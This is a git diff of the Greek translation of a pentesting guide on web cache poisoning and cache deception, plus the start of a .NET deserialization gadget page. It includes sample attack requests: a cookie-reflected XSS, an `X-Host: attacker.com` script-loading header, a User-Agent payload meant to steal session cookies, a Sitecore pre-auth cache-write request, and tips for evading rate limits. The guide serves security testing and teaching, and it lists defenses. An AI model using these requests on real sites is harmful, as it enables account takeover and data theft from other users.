αρκετούς clients που φορτώνουν την κακόβουλη απόκριση της cache. +Τα Cookies μπορούν επίσης να ανακλαστούν στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλεύσετε ώστε να προκαλέσετε, για παράδειγμα, ένα XSS, θα μπορούσατε να εκμεταλλεύσετε το XSS σε πολλούς clients που φορτώνουν την κακόβουλη cache response. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα τακτικά αιτήματα θα καθαρίζουν το cache. +Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα συνηθισμένα αιτήματα θα καθαρίζουν την cache. -### Generating discrepancies with delimiters, normalization and dots +### Δημιουργία αποκλίσεων με διαχωριστές, κανονικοποίηση και τελείες Δείτε: @@ -106,20 +106,20 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning με path traversal για να κλέψετε API key +### Cache poisoning με path traversal για κλοπή API key -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα αποθηκεύεται στο cache χωρίς το Cloudflare να ομαλοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα γίνεται cached χωρίς το Cloudflare να κανονικοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server. -Αυτό εξηγείται καλύτερα και στο: +Αυτό εξηγείται επίσης καλύτερα στο: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Using multiple headers to exploit web cache poisoning vulnerabilities +### Χρήση πολλαπλών headers για εκμετάλλευση web cache poisoning vulnerabilities -Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε το cache. Για παράδειγμα, μπορεί να βρείτε ένα **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain name για την ανακατεύθυνση, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω της ανακατεύθυνσης. +Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε έναν **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **If** ο **server** κάνει **forwarding** όλων των **HTTP** αιτημάτων **to HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain για το redirect, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω του redirect. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -128,7 +128,7 @@ X-Forwarded-Scheme: http ``` ### Εκμετάλλευση με περιορισμένο `Vary`header -Αν διαπιστώσεις ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα domain για τη φόρτωση ενός JS resource** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent``. Τότε χρειάζεται να βρεις τρόπο να exfiltrate τον `User-Agent` του victim και να poison την cache χρησιμοποιώντας αυτόν τον user agent: +Αν διαπιστώσετε ότι το header **`X-Host`** χρησιμοποιείται ως **όνομα domain για να φορτώσει ένα JS resource** αλλά το header **`Vary`** στην απάντηση υποδεικνύει **`User-Agent`**, τότε πρέπει να βρείτε έναν τρόπο να exfiltrate το User-Agent του θύματος και να poison the cache χρησιμοποιώντας αυτόν τον user agent: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -137,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Στείλε ένα GET αίτημα με τα δεδομένα τόσο στο URL όσο και στο σώμα. Αν ο web server χρησιμοποιεί αυτά από το σώμα, αλλά ο cache server κάνει cache αυτά από το URL, οποιοσδήποτε που προσπελάσει αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως το vuln που βρήκε ο James Kettle στο Github: +Στείλτε ένα GET request με το request στο URL και στο body. Αν ο web server χρησιμοποιεί την τιμή από το body αλλά ο cache server αποθηκεύει στην cache την τιμή από το URL, οποιοσδήποτε που έχει πρόσβαση σε εκείνο το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το body. Όπως το vuln που βρήκε ο James Kettle στο Github website: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -146,11 +146,11 @@ Content-Length: 22 report=innocent-victim ``` -Υπάρχει ένα PortSwigger lab γι' αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There is a portswigger lab για αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -Για παράδειγμα, είναι δυνατόν να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετήσετε τιμές μη-κλειδωμένων parameters μέσα σε κλειδωμένα και να τα εκμεταλλευτείτε. +Για παράδειγμα, είναι δυνατό να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετηθούν τιμές μη-κλειδοποιημένων parameters μέσα σε κλειδωμένες παραμέτρους και να γίνει κατάχρηση. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -160,49 +160,49 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Automated testing for Web Cache Poisoning -Το [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο. +Ο [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο. -Example usage: `wcvs -u example.com` +Παράδειγμα χρήσης: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Αυτό το μοτίβο από πραγματικά περιβάλλοντα συνδέει ένα header-based reflection primitive με τη συμπεριφορά ενός CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: +Αυτό το πραγματικό pattern συνδέει ένα header-based reflection primitive με τη συμπεριφορά του CDN/WAF για να poison αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες: -- Το κύριο HTML αντέστρεφε ένα μη-έμπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context. -- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελειώνουν σε static extensions (π.χ., `.js`), ενώ το WAF εφάρμοζε ασθενέστερο content inspection για GETs στα static assets. -- Ατέλειες στη ροή των requests επέτρεψαν σε ένα αίτημα προς μονοπάτι `.js` να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο main HTML, επιτρέποντας cross-user XSS μέσω header reflection. +- Το κύριο HTML αντανάκλασε ένα μη-αξιόπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context. +- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελείωναν σε static extensions (π.χ., `.js`), ενώ το WAF έκανε πιο χαλαρή content inspection σε GETs για static assets. +- Ιδιαιτερότητες της ροής των requests επέτρεψαν ένα request σε `.js` path να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω header reflection. -Practical recipe (observed across a popular CDN/WAF): +Πρακτική συνταγή (παρατηρήθηκε σε ένα δημοφιλές CDN/WAF): -1) Από ένα clean IP (αποφύγετε προηγούμενες ποινές βάσει reputation), ορίστε ένα malicious `User-Agent` μέσω browser ή Burp Proxy Match & Replace. -2) Στο Burp Repeater, προετοιμάστε ένα group δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα): -- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. -- Immediately after: GET the main page (`/`). -3) Ο αγώνας δρομολόγησης CDN/WAF μαζί με το auto-cached `.js` συχνά σπέρνει ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως `User-Agent`). +1) Από ένα clean IP (αποφύγετε προηγούμενες reputation-based downgrades), ορίστε έναν malicious `User-Agent` μέσω του browser ή Burp Proxy Match & Replace. +2) Στο Burp Repeater, προετοιμάστε μια ομάδα δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα): +- First request: GET ένα `.js` resource path στο ίδιο origin ενώ στέλνετε τον malicious `User-Agent`. +- Immediately after: GET την κύρια σελίδα (`/`). +3) Ο αγώνας δρομολόγησης του CDN/WAF σε συνδυασμό με το auto-cached `.js` συχνά seeds ένα poisoned cached HTML variant που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιες `Vary` διαστάσεις όπως το `User-Agent`). -Example header payload (to exfiltrate non-HttpOnly cookies): +Παράδειγμα header payload (για exfiltrate non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` -Operational tips: +Λειτουργικές συμβουλές: -- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers. -- Using an IP from the CDN's own cloud sometimes improves routing consistency. -- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context. +- Πολλοί CDN αποκρύπτουν τις επικεφαλίδες cache· το poisoning μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλά vantage IPs και περιορίστε τον ρυθμό (throttle) για να αποφύγετε triggers όπως rate‑limit ή reputation. +- Η χρήση ενός IP από το ίδιο cloud του CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης. +- Αν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί αν η reflection εκτελείται στο κύριο HTML context και το CSP επιτρέπει inline εκτέλεση ή παρακάμπτεται ανάλογα με το context. -Impact: +Επίπτωση: -- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. +- Αν τα session cookies δεν είναι `HttpOnly`, είναι δυνατό ένα zero-click ATO με μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που σερβίρονται το poisoned HTML. -Defenses: +Αντιμετώπιση: -- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers. -- Ensure WAF applies content inspection consistently to `.js` requests and static paths. -- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies. +- Σταματήστε να αντανακλάτε request headers στο HTML· αν δεν είναι δυνατόν, εφαρμόστε αυστηρό context‑encoding. Ευθυγραμμίστε τις cache policies του CDN και του origin και αποφύγετε το varying με βάση μη αξιόπιστα headers. +- Βεβαιωθείτε ότι το WAF εφαρμόζει content inspection με συνέπεια σε `.js` requests και static paths. +- Ορίστε `HttpOnly` (και `Secure`, `SameSite`) στα session cookies. -### Sitecore pre‑auth HTML cache poisoning (μη ασφαλής XAML Ajax reflection) +### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) -Ένα μοτίβο ειδικό για Sitecore επιτρέπει μη αυθεντικοποιημένες εγγραφές στο HtmlCache εκμεταλλευόμενο pre‑auth XAML handlers και AjaxScriptManager reflection. Όταν ο handler `Sitecore.Shell.Xaml.WebControl` προσεγγίζεται, ένα `xmlcontrol:GlobalHeader` (παράγωγο του `Sitecore.Web.UI.WebControl`) είναι διαθέσιμο και η ακόλουθη reflective κλήση επιτρέπεται: +A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed: ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl Content-Type: application/x-www-form-urlencoded @@ -211,43 +211,45 @@ __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00 ``` Αυτό γράφει αυθαίρετο HTML κάτω από ένα attacker‑chosen cache key, επιτρέποντας ακριβές poisoning μόλις τα cache keys γίνουν γνωστά. +For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE): + {{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} -## Ευάλωτα Παραδείγματα +## Ευπαθή Παραδείγματα ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το cache key δεν περιείχε το payload, μόνο host, path και query. +Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το request `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το cache key δεν περιείχε το payload, μόνο host, path και query. ### GitHub CP-DoS -Η αποστολή μη έγκυρης τιμής στο header content-type προκάλεσε ένα 405 cached response. Το cache key περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί κανείς μόνο σε unauth users. +Η αποστολή μίας κακής τιμής στο content-type header προκάλεσε μια cache-αρισμένη απάντηση 405. Το cache key περιείχε το cookie, οπότε ήταν δυνατόν να γίνει επίθεση μόνο σε unauth users. ### GitLab + GCP CP-DoS -Το GitLab χρησιμοποιεί GCP buckets για αποθήκευση static content. **GCP Buckets** υποστηρίζουν το **header `x-http-method-override`**. Έτσι ήταν δυνατό να σταλεί το header `x-http-method-override: HEAD` και να poison the cache ώστε να επιστρέψει κενό response body. Μπορεί επίσης να υποστηρίζει τη μέθοδο `PURGE`. +Το GitLab χρησιμοποιεί GCP buckets για την αποθήκευση static content. **GCP Buckets** υποστηρίζουν το **header `x-http-method-override`**. Έτσι ήταν δυνατό να σταλεί το header `x-http-method-override: HEAD` και να poison the cache ώστε να επιστρέψει κενό response body. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`. ### Rack Middleware (Ruby on Rails) -Σε εφαρμογές Ruby on Rails χρησιμοποιείται συχνά το Rack middleware. Ο σκοπός του Rack είναι να πάρει την τιμή του header **`x-forwarded-scheme`** και να την θέσει ως scheme του request. Όταν σταλεί το header `x-forwarded-scheme: http`, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον η εφαρμογή μπορεί να αναγνωρίσει το header `X-forwarded-host` και να κάνει redirect τους χρήστες στον συγκεκριμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από server του attacker, δημιουργώντας κίνδυνο ασφάλειας. +Σε Ruby on Rails εφαρμογές, Rack middleware συχνά χρησιμοποιείται. Ο σκοπός του Rack code είναι να πάρει την τιμή του **`x-forwarded-scheme`** header και να την ορίσει ως scheme του request. Όταν σταλεί το header `x-forwarded-scheme: http`, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίζει το `X-forwarded-host` header και να κάνει redirect τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από τον server ενός attacker, θέτοντας κίνδυνο ασφαλείας. ### 403 and Storage Buckets -Το Cloudflare παλαιότερα cached 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers προκαλούσε 403 response που μπήκε στην cache. Αν και το Cloudflare έχει σταματήσει να cache-άρει 403 responses, αυτή η συμπεριφορά μπορεί να υπάρχει ακόμα σε άλλες proxy υπηρεσίες. +Η Cloudflare παλαιότερα cache-άριζε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκευόταν στην cache. Αν και η Cloudflare σταμάτησε να cache-άρει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να παραμένει σε άλλες proxy υπηρεσίες. ### Injecting Keyed Parameters -Οι caches συχνά συμπεριλαμβάνουν συγκεκριμένες GET παραμέτρους στο cache key. Για παράδειγμα, η Varnish του Fastly cached την παράμετρο `size` στα requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) σταλεί επίσης με λανθασμένη τιμή, το cache key θα χτιστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Παρ' όλα αυτά, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης `size` παραμέτρου οδηγούσε στην παράβλεψή της από την cache αλλά στη χρήση της από το backend. Η ανάθεση τιμής 0 σε αυτήν την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +Οι caches συχνά περιλαμβάνουν συγκεκριμένα GET parameters στο cache key. Για παράδειγμα, η Fastly's Varnish cached the `size` parameter in requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) στάλθηκε επίσης με λανθασμένη τιμή, το cache key θα κατασκευαζόταν χρησιμοποιώντας τη σωστή `size` παράμετρο. Παρ' όλα αυτά, το backend θα επεξεργαζόταν την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης `size` παράμετρου οδηγούσε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Το να δοθεί τιμή 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. ### User Agent Rules -Κάποιοι developers μπλοκάρουν αιτήματα με user-agents που ταιριάζουν σε εργαλεία υψηλής κυκλοφορίας όπως FFUF ή Nuclei για να διαχειριστούν το φόρτο του server. Ειρωνικά, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS. +Κάποιοι developers μπλοκάρουν requests με user-agents που αντιστοιχούν σε high-traffic tools όπως FFUF ή Nuclei για να διαχειριστούν το server load. Παραδόξως, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS. ### Illegal Header Fields -Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα header. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου εύρους **tchar** θα έπρεπε ιδανικά να προκαλούν 400 Bad Request response. Στην πράξη, οι servers δεν συμμορφώνονται πάντα με αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, εφόσον δεν υπάρχει το header `cache-control`. Ένα εκμεταλλεύσιμο pattern εντοπίστηκε όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα header names. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου **tchar** εύρους θα έπρεπε ιδανικά να επιστρέφουν μια 400 Bad Request απάντηση. Στην πράξη, οι servers δεν ακολουθούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, αρκεί να μην υπάρχει το header `cache-control`. Εντοπίστηκε ένα εκμεταλλεύσιμο pattern όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. ### Εύρεση νέων headers @@ -255,11 +257,11 @@ __PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00 ## Cache Deception -The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**. +Ο στόχος του Cache Deception είναι να αναγκάσει τους clients να **φορτώνουν resources που πρόκειται να αποθηκευτούν στην cache μαζί με τις ευαίσθητες πληροφορίες τους**. -Καταρχάς να σημειωθεί ότι επεκτάσεις όπως `.css`, `.js`, `.png` κ.λπ. συνήθως είναι ρυθμισμένες να αποθηκεύονται στην cache. Επομένως, αν επισκεφθείτε `www.example.com/profile.php/nonexistent.js`, η cache πιθανότατα θα αποθηκεύσει το response επειδή εντοπίζει την `.js` επέκταση. Όμως, αν η εφαρμογή επιστρέψει τα ευαίσθητα περιεχόμενα χρήστη που βρίσκονται στο _www.example.com/profile.php_, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες. +Πρώτα απ' όλα, σημειώστε ότι οι **επεκτάσεις** όπως `.css`, `.js`, `.png` κ.λπ. συνήθως **ρυθμίζονται** ώστε να **αποθηκεύονται** στην **cache.** Επομένως, αν προσπελάσετε `www.example.com/profile.php/nonexistent.js` η cache πιθανότατα θα αποθηκεύσει την απόκριση επειδή βλέπει την `.js` **επέκταση**. Όμως, αν η **εφαρμογή** απαντάει με τα **ευαίσθητα** περιεχόμενα χρήστη που είναι αποθηκευμένα στο _www.example.com/profile.php_, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες. -Other things to test: +Άλλα πράγματα για δοκιμή: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ @@ -268,17 +270,17 @@ Other things to test: - _www.example.com/profile.php/%2e%2e/test.js_ - _Use lesser known extensions such as_ `.avif` -Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -Στο παράδειγμα εξηγείται ότι αν φορτώσετε μια μη-υπάρχουσα σελίδα όπως _http://www.example.com/home.php/non-existent.css_ το περιεχόμενο του _http://www.example.com/home.php_ (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.\ -Στη συνέχεια, ο **attacker** μπορεί να προσπελάσει _http://www.example.com/home.php/non-existent.css_ στον δικό του browser και να δει τις **εμπιστευτικές πληροφορίες** των χρηστών που επισκέφτηκαν προηγουμένως. +Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712). +Στο παράδειγμα εξηγείται ότι αν φορτώσετε μία μη-υπάρχουσα σελίδα όπως _http://www.example.com/home.php/non-existent.css_ το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα. +Στη συνέχεια, ο **attacker** μπορεί να προσπελάσει _http://www.example.com/home.php/non-existent.css_ στον δικό του browser και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση νωρίτερα. -Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **configured** να cache-άρει αρχεία βάσει της επέκτασης του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ το content-type θα είναι `text/html` αντί για `text/css` mime type. +Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **caches** αρχεία **βασιζόμενος** στην **επέκταση** του αρχείου (_.css_) και όχι με βάση το content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ το content-type θα είναι `text/html` αντί για `text/css` mime type. -Μάθετε εδώ πώς να πραγματοποιήσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Μάθετε εδώ πώς να πραγματοποιήσετε[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Αυτόματα Εργαλεία -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner για να βρει web cache poisoning vulnerabilities σε μια λίστα URL και να δοκιμάσει πολλαπλές τεχνικές injection. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner για την εύρεση web cache poisoning vulnerabilities σε λίστες URLs και για δοκιμή πολλαπλών injection techniques. ## Αναφορές diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 9c59a4f7e..5e2e21b5c 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,38 +1,38 @@ -# Βασική .Net αποσειριοποίηση (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) +# Βασική .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Αυτή η ανάρτηση αφιερώνεται στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτηθεί RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να καταχραστούν** με αυτό το gadget. +Αυτό το άρθρο αφιερώνεται στο να **κατανοήσουμε πώς το gadget ObjectDataProvider εκμεταλλεύεται** για να επιτευχθεί RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να καταχραστούν** με αυτό το gadget. ## ObjectDataProvider Gadget -Από την τεκμηρίωση: _η κλάση ObjectDataProvider τυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως binding source_.\ -Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Η κλάση αυτή επιτρέπει να **τυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους**, και στη συνέχεια να **χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου δηλωμένη χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\ -Επομένως, το αυθαίρετο αντικείμενο θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους κατά τη διάρκεια της αποσειριοποίησης.** +Από την τεκμηρίωση: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\ +Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **τυλίξετε (wrap) ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους,** και στη συνέχεια να **χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώθηκε χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\ +Επομένως, το αυθαίρετο **object** θα **εκτελέσει** μια **function** με **παραμέτρους κατά τη διάρκεια της απο-σειριοποίησης (deserialization).** ### **Πώς είναι αυτό δυνατό** -Το namespace **System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ο ObjectDataProvider ορίζεται και υλοποιείται. +Ο χώρος ονομάτων **System.Windows.Data**, που βρίσκεται μέσα στο 